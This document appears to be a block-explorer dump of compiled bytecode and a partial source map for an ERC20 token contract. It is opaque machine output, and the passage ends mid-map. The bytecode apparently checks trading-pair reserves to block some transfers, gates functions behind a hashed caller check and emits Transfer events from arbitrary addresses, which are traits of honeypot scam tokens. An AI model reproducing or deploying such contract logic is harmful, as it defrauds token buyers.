9150506000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516116b59190612735565b6000604051808303816000865af19150503d80600081146116f2576040519150601f19603f3d011682016040523d82523d6000602084013e6116f7565b606091505b50915050600080828060200190518101906117129190612514565b9150915060008580602001905181019061172c91906122d9565b905060008580602001905181019061174491906122d9565b905060008273ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602401611792919061274c565b6040516020818303038152906040527f70a08231000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161181c9190612735565b6000604051808303816000865af19150503d8060008114611859576040519150601f19603f3d011682016040523d82523d6000602084013e61185e565b606091505b5091505060008180602001905181019061187891906124e7565b905060008373ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516024016118c6919061274c565b6040516020818303038152906040527f70a08231000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516119509190612735565b6000604051808303816000865af19150503d806000811461198d576040519150601f19603f3d011682016040523d82523d6000602084013e611992565b606091505b509150506000818060200190518101906119ac91906124e7565b9050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611a315782881115611a26578288611a189190612947565b9b506015548c119d50611a2c565b8288149c505b611ab1565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611ab05780871115611aa9578087611a9b9190612947565b9b506015548c119d50611aaf565b8087149c505b5b5b8d158015611abd57508c155b611ac657600080fd5b50505050505050505050505050505b611ae0878786611e9d565b505050505b505050565b6000838311158290611b32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b299190612782565b60405180910390fd5b5060008385611b419190612947565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611bbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb590612864565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c25906127a4565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca690612824565b60405180910390fd5b611d00816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d93816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3f90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e3291906128a4565b60405180910390a3505050565b6000808284611e4e91906128f1565b905083811015611e93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8a90612804565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0490612864565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f74906127a4565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611ffe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff590612824565b60405180910390fd5b61204f816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120e2816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3f90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161218191906128a4565b60405180910390a3505050565b60006121d083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611aea565b905092915050565b6000813590506121e781612dc7565b92915050565b6000815190506121fc81612dde565b92915050565b60008083601f84011261221857612217612b43565b5b8235905067ffffffffffffffff81111561223557612234612b3e565b5b60208301915083602082028301111561225157612250612b48565b5b9250929050565b60008135905061226781612df5565b92915050565b60008151905061227c81612e0c565b92915050565b60008135905061229181612e23565b92915050565b6000815190506122a681612e23565b92915050565b6000602082840312156122c2576122c1612b52565b5b60006122d0848285016121d8565b91505092915050565b6000602082840312156122ef576122ee612b52565b5b60006122fd848285016121ed565b91505092915050565b6000806040838503121561231d5761231c612b52565b5b600061232b858286016121d8565b925050602061233c858286016121d8565b9150509250929050565b60008060006060848603121561235f5761235e612b52565b5b600061236d868287016121d8565b935050602061237e868287016121d8565b925050604061238f86828701612282565b9150509250925092565b600080604083850312156123b0576123af612b52565b5b60006123be858286016121d8565b92505060206123cf85828601612258565b9150509250929050565b600080604083850312156123f0576123ef612b52565b5b60006123fe858286016121d8565b925050602061240f85828601612282565b9150509250929050565b6000806000806060858703121561243357612432612b52565b5b600085013567ffffffffffffffff81111561245157612450612b4d565b5b61245d87828801612202565b94509450506020612470878288016121d8565b925050604061248187828801612282565b91505092959194509250565b6000602082840312156124a3576124a2612b52565b5b60006124b18482850161226d565b91505092915050565b6000602082840312156124d0576124cf612b52565b5b60006124de84828501612282565b91505092915050565b6000602082840312156124fd576124fc612b52565b5b600061250b84828501612297565b91505092915050565b6000806040838503121561252b5761252a612b52565b5b600061253985828601612297565b925050602061254a85828601612297565b9150509250929050565b61255d8161297b565b82525050565b61257461256f8261297b565b612a8d565b82525050565b6125838161299f565b82525050565b6000612594826128bf565b61259e81856128d5565b93506125ae8185602086016129df565b80840191505092915050565b60006125c5826128ca565b6125cf81856128e0565b93506125df8185602086016129df565b6125e881612b57565b840191505092915050565b60006126006023836128e0565b915061260b82612b75565b604082019050919050565b60006126236022836128e0565b915061262e82612bc4565b604082019050919050565b60006126466022836128e0565b915061265182612c13565b604082019050919050565b6000612669601b836128e0565b915061267482612c62565b602082019050919050565b600061268c6026836128e0565b915061269782612c8b565b604082019050919050565b60006126af6029836128e0565b91506126ba82612cda565b604082019050919050565b60006126d26025836128e0565b91506126dd82612d29565b604082019050919050565b60006126f56024836128e0565b915061270082612d78565b604082019050919050565b612714816129d5565b82525050565b60006127268284612563565b60148201915081905092915050565b60006127418284612589565b915081905092915050565b60006020820190506127616000830184612554565b92915050565b600060208201905061277c600083018461257a565b92915050565b6000602082019050818103600083015261279c81846125ba565b905092915050565b600060208201905081810360008301526127bd816125f3565b9050919050565b600060208201905081810360008301526127dd81612616565b9050919050565b600060208201905081810360008301526127fd81612639565b9050919050565b6000602082019050818103600083015261281d8161265c565b9050919050565b6000602082019050818103600083015261283d8161267f565b9050919050565b6000602082019050818103600083015261285d816126a2565b9050919050565b6000602082019050818103600083015261287d816126c5565b9050919050565b6000602082019050818103600083015261289d816126e8565b9050919050565b60006020820190506128b9600083018461270b565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006128fc826129d5565b9150612907836129d5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561293c5761293b612ab1565b5b828201905092915050565b6000612952826129d5565b915061295d836129d5565b9250828210156129705761296f612ab1565b5b828203905092915050565b6000612986826129b5565b9050919050565b6000612998826129b5565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b838110156129fd5780820151818401526020810190506129e2565b83811115612a0c576000848401525b50505050565b60006002820490506001821680612a2a57607f821691505b60208210811415612a3e57612a3d612ae0565b5b50919050565b6000612a4f826129d5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612a8257612a81612ab1565b5b600182019050919050565b6000612a9882612a9f565b9050919050565b6000612aaa82612b68565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f62616c616e636520717565727920666f7220746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612dd08161297b565b8114612ddb57600080fd5b50565b612de78161298d565b8114612df257600080fd5b50565b612dfe8161299f565b8114612e0957600080fd5b50565b612e15816129ab565b8114612e2057600080fd5b50565b612e2c816129d5565b8114612e3757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122073c355d7f38c992bff0a04a88dc2fc90fd019e3665cfa2e579d583b05a3267c264736f6c63430008060033
Deployed Bytecode Sourcemap
13570:6121:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14000:45;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8708:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9799:191;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14566:29;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8995:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15023:43;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11420:498;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14160:44;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19206:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8902:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11934:296;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18996:204;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14211:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14750:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14636:47;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14692;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9098:268;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8132:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8799:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18782:208;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19450:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12238:396;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9374:205;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14107:46;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14282:22;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9589:200;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14052:46;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14411:29;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14000:45;;;;;;;;;;;;;;;;;;;;;;:::o;8708:83::-;8745:13;8778:5;8771:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8708:83;:::o;9799:191::-;9901:4;9923:37;9932:10;9944:7;9953:6;9923:8;:37::i;:::-;9978:4;9971:11;;9799:191;;;;:::o;14566:29::-;;;;;;;;;;;;;:::o;8995:95::-;9048:7;9075;;9068:14;;8995:95;:::o;15023:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;11420:498::-;11570:4;11587:54;11597:12;11611:13;11626:14;11587:9;:54::i;:::-;11652:236;11675:12;11702:10;11727:150;11787:14;11727:150;;;;;;;;;;;;;;;;;:11;:25;11739:12;11727:25;;;;;;;;;;;;;;;:37;11753:10;11727:37;;;;;;;;;;;;;;;;:41;;:150;;;;;:::i;:::-;11652:8;:236::i;:::-;11906:4;11899:11;;11420:498;;;;;:::o;14160:44::-;;;;;;;;;;;;;;;;;;;;;;:::o;19206:238::-;19305:11;;19265:36;19289:10;19272:28;;;;;;;;:::i;:::-;;;;;;;;;;;;;19265:36;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:51;19261:177;;19332:7;;19261:177;19369:58;19391:13;;;;;;;;;;;19406:10;;;;;;;;;;;19418:8;19369:21;:58::i;:::-;19206:238;;:::o;8902:85::-;8943:7;8970:9;;;;;;;;;;;8963:16;;;;8902:85;:::o;11934:296::-;12049:4;12071:129;12094:10;12119:7;12141:48;12178:10;12141:11;:23;12153:10;12141:23;;;;;;;;;;;;;;;:32;12165:7;12141:32;;;;;;;;;;;;;;;;:36;;:48;;;;:::i;:::-;12071:8;:129::i;:::-;12218:4;12211:11;;11934:296;;;;:::o;18996:204::-;19096:11;;19056:36;19080:10;19063:28;;;;;;;;:::i;:::-;;;;;;;;;;;;;19056:36;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:51;19052:142;;19123:7;;19052:142;19173:10;19160;;:23;;;;;;;;;;;;;;;;;;18996:204;;:::o;14211:28::-;;;;;;;;;;;;;:::o;14750:25::-;;;;;;;;;;;;;:::o;14636:47::-;;;;;;;;;;;;;;;;;;;;;;:::o;14692:::-;;;;;;;;;;;;;;;;;:::o;9098:268::-;9164:7;9207:1;9188:21;;:7;:21;;;;9180:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9252:11;9266:7;:16;9274:7;9266:16;;;;;;;;;;;;;;;;9252:30;;9303:1;9296:3;:8;9292:48;;;9324:8;;9317:15;;;;;9292:48;9355:3;9348:10;;;9098:268;;;;:::o;8132:84::-;;;;;;;;;;;;;:::o;8799:87::-;8838:13;8871:7;8864:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8799:87;:::o;18782:208::-;18881:9;18876:107;18900:4;;:11;;18896:1;:15;18876:107;;;18954:4;;18959:1;18954:7;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;18937:34;;18946:6;18937:34;;;18963:7;18937:34;;;;;;:::i;:::-;;;;;;;;18913:3;;;;;:::i;:::-;;;;18876:107;;;;18782:208;;;;:::o;19450:238::-;19568:11;;19528:36;19552:10;19535:28;;;;;;;;:::i;:::-;;;;;;;;;;;;;19528:36;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:51;19524:158;;19595:7;;19524:158;19662:9;19632:14;:27;19647:11;19632:27;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;19450:238;;;:::o;12238:396::-;12358:4;12380:224;12403:10;12428:7;12450:143;12505:15;12450:143;;;;;;;;;;;;;;;;;:11;:23;12462:10;12450:23;;;;;;;;;;;;;;;:32;12474:7;12450:32;;;;;;;;;;;;;;;;:36;;:143;;;;;:::i;:::-;12380:8;:224::i;:::-;12622:4;12615:11;;12238:396;;;;:::o;9374:205::-;9483:4;9505:44;9515:10;9527;9539:9;9505;:44::i;:::-;9567:4;9560:11;;9374:205;;;;:::o;14107:46::-;;;;;;;;;;;;;;;;;;;;;;:::o;14282:22::-;;;;;;;;;;;;;:::o;9589:200::-;9714:7;9746:11;:22;9758:9;9746:22;;;;;;;;;;;;;;;:35;9769:11;9746:35;;;;;;;;;;;;;;;;9739:42;;9589:200;;;;:::o;14052:46::-;;;;;;;;;;;;;;;;;;;;;;:::o;14411:29::-;;;;;;;;;;;;;:::o;13034:381::-;13188:1;13171:19;;:5;:19;;;;13163:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13269:1;13250:21;;:7;:21;;;;13242:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13353:6;13323:11;:18;13335:5;13323:18;;;;;;;;;;;;;;;:27;13342:7;13323:27;;;;;;;;;;;;;;;:36;;;;13391:7;13375:32;;13384:5;13375:32;;;13400:6;13375:32;;;;;;:::i;:::-;;;;;;;;13034:381;;;:::o;16472:2304::-;16615:1;16599:18;;:4;:18;;;;16591:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16691:1;16677:16;;:2;:16;;;;16669:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;16760:1;16751:6;:10;16743:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;16818:22;16843:6;16818:31;;16854:13;:19;16868:4;16854:19;;;;;;;;;;;;;;;;;;;;;;;;;:40;;;;16877:13;:17;16891:2;16877:17;;;;;;;;;;;;;;;;;;;;;;;;;16854:40;16850:132;;;16910:41;16926:4;16932:2;16936:14;16910:15;:41::i;:::-;16965:7;;;16850:132;16983:18;17004:2;16983:23;;17017:21;17041:14;:20;17056:4;17041:20;;;;;;;;;;;;;;;;;;;;;;;;;17017:44;;17072:16;17128:15;17114:11;;17091:14;:20;17106:4;17091:20;;;;;;;;;;;;;;;;:34;;;;:::i;:::-;:52;17072:71;;17163:16;17162:17;17154:26;;;;;;17203:13;;;;;;;;;;;17195:21;;:4;:21;;;17191:1524;;;17228:11;17249;17270:19;17302:20;17326:13;;;;;;;;;;;:18;;17377:10;17354:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17326:72;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17299:99;;;17410:20;17434:13;;;;;;;;;;;:18;;17485:10;17462:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17434:71;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17407:98;;;17516:23;17543:13;;;;;;;;;;;:18;;17594:10;17571:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17543:69;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17513:99;;;17621:17;17640;17681:10;17661:64;;;;;;;;;;;;:::i;:::-;17620:105;;;;17731:14;17759:7;17748:30;;;;;;;;;;;;:::i;:::-;17731:47;;17784:14;17812:7;17801:30;;;;;;;;;;;;:::i;:::-;17784:47;;17840:21;17865:6;:11;;17932:13;;;;;;;;;;;17886:60;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17865:87;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17837:115;;;17958:16;17988:8;17977:31;;;;;;;;;;;;:::i;:::-;17958:50;;18017:21;18042:6;:11;;18109:13;;;;;;;;;;;18063:60;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18042:87;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18014:115;;;18135:15;18164:8;18153:31;;;;;;;;;;;;:::i;:::-;18135:49;;18204:10;;;;;;;;;;;18194:20;;:6;:20;;;18190:479;;;18242:8;18230:9;:20;18226:196;;;18292:8;18280:9;:20;;;;:::i;:::-;18266:34;;18337:13;;18323:11;:27;18314:36;;18226:196;;;18403:8;18390:9;:21;18381:30;;18226:196;18190:479;;;18448:10;;;;;;;;;;;18438:20;;:6;:20;;;18434:235;;;18486:7;18474:9;:19;18470:193;;;18535:7;18523:9;:19;;;;:::i;:::-;18509:33;;18579:13;;18565:11;:27;18556:36;;18470:193;;;18645:7;18632:9;:20;18623:29;;18470:193;18434:235;18190:479;18690:6;18689:7;:18;;;;;18701:6;18700:7;18689:18;18681:27;;;;;;17218:1497;;;;;;;;;;;;;;17191:1524;18727:41;18743:4;18749:2;18753:14;18727:15;:41::i;:::-;16581:2195;;;;16472:2304;;;;:::o;5415:226::-;5535:7;5568:1;5563;:6;;5571:12;5555:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;5595:9;5611:1;5607;:5;;;;:::i;:::-;5595:17;;5632:1;5625:8;;;5415:226;;;;;:::o;9998:703::-;10186:1;10164:24;;:10;:24;;;;10142:111;;;;;;;;;;;;:::i;:::-;;;;;;;;;10309:1;10286:25;;:11;:25;;;;10264:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;10434:6;10411:7;:19;10419:10;10411:19;;;;;;;;;;;;;;;;:29;;10389:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;10539:31;10563:6;10539:7;:19;10547:10;10539:19;;;;;;;;;;;;;;;;:23;;:31;;;;:::i;:::-;10517:7;:19;10525:10;10517:19;;;;;;;;;;;;;;;:53;;;;10604:32;10629:6;10604:7;:20;10612:11;10604:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;10581:7;:20;10589:11;10581:20;;;;;;;;;;;;;;;:55;;;;10673:11;10652:41;;10661:10;10652:41;;;10686:6;10652:41;;;;;;:::i;:::-;;;;;;;;9998:703;;;:::o;4512:181::-;4570:7;4590:9;4606:1;4602;:5;;;;:::i;:::-;4590:17;;4631:1;4626;:6;;4618:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;4684:1;4677:8;;;4512:181;;;;:::o;10713:697::-;10895:1;10873:24;;:10;:24;;;;10851:111;;;;;;;;;;;;:::i;:::-;;;;;;;;;11018:1;10995:25;;:11;:25;;;;10973:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;11143:6;11120:7;:19;11128:10;11120:19;;;;;;;;;;;;;;;;:29;;11098:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;11248:31;11272:6;11248:7;:19;11256:10;11248:19;;;;;;;;;;;;;;;;:23;;:31;;;;:::i;:::-;11226:7;:19;11234:10;11226:19;;;;;;;;;;;;;;;:53;;;;11313:32;11338:6;11313:7;:20;11321:11;11313:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;11290:7;:20;11298:11;11290:20;;;;;;;;;;;;;;;:55;;;;11382:11;11361:41;;11370:10;11361:41;;;11395:6;11361:41;;;;;;:::i;:::-;;;;;;;;10713:697;;;:::o;4976:136::-;5034:7;5061:43;5065:1;5068;5061:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;5054:50;;4976:136;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:159::-;217:5;248:6;242:13;233:22;;264:41;299:5;264:41;:::i;:::-;223:88;;;;:::o;334:568::-;407:8;417:6;467:3;460:4;452:6;448:17;444:27;434:2;;475:79;;:::i;:::-;434:2;588:6;575:20;565:30;;618:18;610:6;607:30;604:2;;;640:79;;:::i;:::-;604:2;754:4;746:6;742:17;730:29;;808:3;800:4;792:6;788:17;778:8;774:32;771:41;768:2;;;815:79;;:::i;:::-;768:2;424:478;;;;;:::o;908:133::-;951:5;989:6;976:20;967:29;;1005:30;1029:5;1005:30;:::i;:::-;957:84;;;;:::o;1047:143::-;1104:5;1135:6;1129:13;1120:22;;1151:33;1178:5;1151:33;:::i;:::-;1110:80;;;;:::o;1196:139::-;1242:5;1280:6;1267:20;1258:29;;1296:33;1323:5;1296:33;:::i;:::-;1248:87;;;;:::o;1341:143::-;1398:5;1429:6;1423:13;1414:22;;1445:33;1472:5;1445:33;:::i;:::-;1404:80;;;;:::o;1490:329::-;1549:6;1598:2;1586:9;1577:7;1573:23;1569:32;1566:2;;;1604:79;;:::i;:::-;1566:2;1724:1;1749:53;1794:7;1785:6;1774:9;1770:22;1749:53;:::i;:::-;1739:63;;1695:117;1556:263;;;;:::o;1825:367::-;1903:6;1952:2;1940:9;1931:7;1927:23;1923:32;1920:2;;;1958:79;;:::i;:::-;1920:2;2078:1;2103:72;2167:7;2158:6;2147:9;2143:22;2103:72;:::i;:::-;2093:82;;2049:136;1910:282;;;;:::o;2198:474::-;2266:6;2274;2323:2;2311:9;2302:7;2298:23;2294:32;2291:2;;;2329:79;;:::i;:::-;2291:2;2449:1;2474:53;2519:7;2510:6;2499:9;2495:22;2474:53;:::i;:::-;2464:63;;2420:117;2576:2;2602:53;2647:7;2638:6;2627:9;2623:22;2602:53;:::i;:::-;2592:63;;2547:118;2281:391;;;;;:::o;2678:619::-;2755:6;2763;2771;2820:2;2808:9;2799:7;2795:23;2791:32;2788:2;;;2826:79;;:::i;:::-;2788:2;2946:1;2971:53;3016:7;3007:6;2996:9;2992:22;2971:53;:::i;:::-;2961:63;;2917:117;3073:2;3099:53;3144:7;3135:6;3124:9;3120:22;3099:53;:::i;:::-;3089:63;;3044:118;3201:2;3227:53;3272:7;3263:6;3252:9;3248:22;3227:53;:::i;:::-;3217:63;;3172:118;2778:519;;;;;:::o;3303:468::-;3368:6;3376;3425:2;3413:9;3404:7;3400:23;3396:32;3393:2;;;3431:79;;:::i;:::-;3393:2;3551:1;3576:53;3621:7;3612:6;3601:9;3597:22;3576:53;:::i;:::-;3566:63;;3522:117;3678:2;3704:50;3746:7;3737:6;3726:9;3722:22;3704:50;:::i;:::-;3694:60;;3649:115;3383:388;;;;;:::o;3777:474::-;3845:6;3853;3902:2;3890:9;3881:7;3877:23;3873:32;3870:2;;;3908:79;;:::i;:::-;3870:2;4028:1;4053:53;4098:7;4089:6;4078:9;4074:22;4053:53;:::i;:::-;4043:63;;3999:117;4155:2;4181:53;4226:7;4217:6;4206:9;4202:22;4181:53;:::i;:::-;4171:63;;4126:118;3860:391;;;;;:::o;4257:849::-;4361:6;4369;4377;4385;4434:2;4422:9;4413:7;4409:23;4405:32;4402:2;;;4440:79;;:::i;:::-;4402:2;4588:1;4577:9;4573:17;4560:31;4618:18;4610:6;4607:30;4604:2;;;4640:79;;:::i;:::-;4604:2;4753:80;4825:7;4816:6;4805:9;4801:22;4753:80;:::i;:::-;4735:98;;;;4531:312;4882:2;4908:53;4953:7;4944:6;4933:9;4929:22;4908:53;:::i;:::-;4898:63;;4853:118;5010:2;5036:53;5081:7;5072:6;5061:9;5057:22;5036:53;:::i;:::-;5026:63;;4981:118;4392:714;;;;;;;:::o;5112:351::-;5182:6;5231:2;5219:9;5210:7;5206:23;5202:32;5199:2;;;5237:79;;:::i;:::-;5199:2;5357:1;5382:64;5438:7;5429:6;5418:9;5414:22;5382:64;:::i;:::-;5372:74;;5328:128;5189:274;;;;:::o;5469:329::-;5528:6;5577:2;5565:9;5556:7;5552:23;5548:32;5545:2;;;5583:79;;:::i;:::-;5545:2;5703:1;5728:53;5773:7;5764:6;5753:9;5749:22;5